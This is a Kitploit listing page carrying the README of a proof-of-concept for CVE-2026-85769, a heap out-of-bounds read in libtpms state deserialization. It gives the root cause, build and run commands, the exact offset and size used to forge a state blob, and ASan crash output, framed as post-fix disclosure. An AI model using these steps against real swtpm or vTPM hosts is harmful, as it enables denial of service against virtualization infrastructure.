Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-85769 — Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob. | Kitploit
उपकरण/GitHubGitHub/isukasanuj/cve-2026-85769
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Analysis
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob.

रिपॉजिटरी देखें
2206 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
अनुरोधित भाषा में सामग्री उपलब्ध नहीं है। अंग्रेज़ी संस्करण दिखाया जा रहा है।

CVE-2026-85769

Heap out-of-bounds read in libtpms TPM 2.0 volatile-state deserialization.

An unbounded optional-block skip in block_skip_read() advances the unmarshal cursor by an attacker-controlled 16-bit length and drives the signed remaining-size counter negative. Every downstream bounds check then passes, because they cast that signed value to unsigned. A forged, self-checksummed volatile-state blob fed through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) produces a heap out-of-bounds read and aborts the process hosting libtpms — swtpm, in a vTPM deployment.

CVECVE-2026-85769
Componentsrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion)
Affectedmaster f7f072b2, v0.10.2 03ff2481, and earlier releases carrying this code
Fixed9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Reported2026-09-01, privately to the maintainer

Root cause

block_skip_read() skips an optional versioned block by advancing the parse cursor, without checking the length against the bytes remaining:

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size is signed. Once negative, the guard in front of every scalar read stops working:

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

The further past the allocation the parse runs, the more negative *size becomes — and the larger it looks unsigned. The same file already has the correct form in Array_Unmarshal, which compares signed.

The only integrity gate is an unkeyed SHA-1 appended to the blob (src/tpm2/Volatile.c), so the PoC recomputes it after tampering.

Attack surface

Reached through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) and the power-on restore chain TPMLIB_MainInit → _TPM_Init → VolatileLoad.

In an swtpm deployment the relevant path is live migration — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination host parses a state blob produced on the source host. A configured --migration-key does not mitigate this: the key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It defends against an interposed third party, not against a hostile peer.

Build

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Run

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 is sized so the cursor lands in ASan's redzone rather than on a wild pointer:

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

Offset 173 is the has_block byte of the ORDERLY_DATA skip_future_versions trailer. It was located by instrumenting block_skip_read() to print the offset during a parse, not by counting bytes — the offset shifts with the state format, so re-derive it if your blob length differs from 8778.

Note that skip_self_heal_timer is not a usable trailer: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h means it is emitted with needs_block = TRUE and takes the safe branch.

Result

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

The fault surfaces in UINT16_Unmarshal, not in block_skip_read — the skip advances the cursor and returns without reading. The corruption lands on the next structure read.

Against the fixed commit, every attack case returns TPM_RC_INSUFFICIENT (0x9a) with no ASan report, and valid blobs still restore with rc=0.

Impact

Denial of service of the process hosting libtpms, plus undefined behaviour.

Information disclosure was tested and ruled out. Small overshoots on a non-ASan build return TPM_RC_BAD_TAG (0x1e) every time:

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

The read immediately after the overshoot is an NV_HEADER, whose 32-bit magic must match a fixed constant. Adjacent heap satisfies that with p ≈ 2⁻³². The parse aborts, ClearAllCachedState() discards everything, and no out-of-bounds bytes reach TPMLIB_GetState. Confidentiality is therefore C:N. Red Hat's review reached the same conclusion independently.

Timeline

Credit

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Notes

This PoC is published after the issue was fixed upstream and the CVE was assigned. It targets a local build of an open-source library and does nothing beyond triggering the parse. Only test what you are authorised to test.

License

MIT

टूल डाउनलोड करें
Date
2026-09-01Reported privately to the libtpms maintainer
2026-09-04Same root cause reported publicly and independently by Leyao (ICT CAS) as libtpms issue #614
2026-09-04Fixed upstream in 9e1475ff (PR #613); fix verified against this PoC
2026-09-04Reported to Red Hat Product Security
2026-09-04CVE-2026-85769 assigned